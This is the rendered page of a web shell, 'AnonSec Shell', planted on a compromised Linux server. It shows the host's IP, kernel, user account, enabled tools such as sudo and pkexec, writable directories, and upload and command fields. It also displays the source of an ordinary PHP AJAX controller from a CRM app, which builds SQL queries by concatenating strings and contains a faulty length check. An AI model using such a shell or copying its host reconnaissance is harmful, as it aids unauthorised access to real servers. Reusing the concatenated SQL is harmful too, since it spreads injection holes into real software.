AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/rodeio/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/rodeio/application/controllers/ajax.php
<?php

_auth();
$action = $routes['1'];

switch ($action) {
    //busca a lista de cidades
    case 'city':
        $state_id = intval($_GET['state_id']);
        //recebe o parametro do estado
        if ($state_id > 0) {
            $city = ORM::for_table('city')->select('id')->select('city_name')->where('id_state', $state_id)->find_many();
            foreach ($city as $c) {
                $data[] = array(
                    'id' => $c->id,
                    'city_name' => $c->city_name,
                );
            }
            echo json_encode($data);
        }
        break;

    case 'groups':
        $gs = ORM::for_table('crm_groups')->order_by_asc('sorder')->find_many();
        foreach ($gs as $g) {
            $data[] = array(
                'id' => $g->id,
                'gname' => ($g->default) ? $_L[$g->gname] : $g->gname,
            );
        }
        echo json_encode($data);
        break;

    case 'tags':
        $tags = Tags::get_all('Contacts');
        foreach ($tags as $t) {
            $data[] = array(
                'text' => $t->text,
            );
        }
        echo json_encode($data);
        break;

    case 'zip':
        require('application/lib/correios/Correios.php');
        //recebe cep e retira a máscara
        $zip = preg_replace('/\D/', '', _post('zip'));
        //aciona a pasta correios de dentro da lib, adequado do plugin do magento
        $data = Correios::getEndereco($zip);
        header('Content-Type: application/json');
        if ($data) {
            //busca a cidade
            $state = ORM::for_table('state')->select('id')
                    ->where_raw('uf_state = "'.$data['state'].'"')
                    ->find_one();
            
            $city_aux = str_replace('\'', '\\\'', $data['city']);
            
            $city = ORM::for_table('city')->select('id')->select('city_name')->select('id_state')
                    ->where_raw("city_name like '" . $city_aux . "' AND id_state = ".$state->id)->find_one();
            //carrega os dados
            $data[] = array(
                'status' => 'OK',
                'city_id' => ($city) ? $city->id : '',
                'state_id' => ($city) ? $city->id_state : '',
                'address' => $data['address'],
                'zip' => $data['zip'],
                'neighborhood' => $data['neighborhood']
            );
        } else {
            //valida para as mensagens de erro
            if (count($zip != 8)) {
                $data[] = array(
                    'status' => $_L['Could not retrieve zip code data. Reason: SEARCH AS DEFINED AS EXACT, ZIP SHOULD BE 8 DIGITS']);
            } else {
                //mensagem caso não tenha encontrado o cep
                $data[] = array(
                    'status' => $_L['Could not retrieve zip code data.Reason: ZIP NOT FOUND']);
            }
        }
        echo json_encode($data);
        break;

    default:
        echo 'action not defined';
}

Anon7 - 2022
AnonSec Team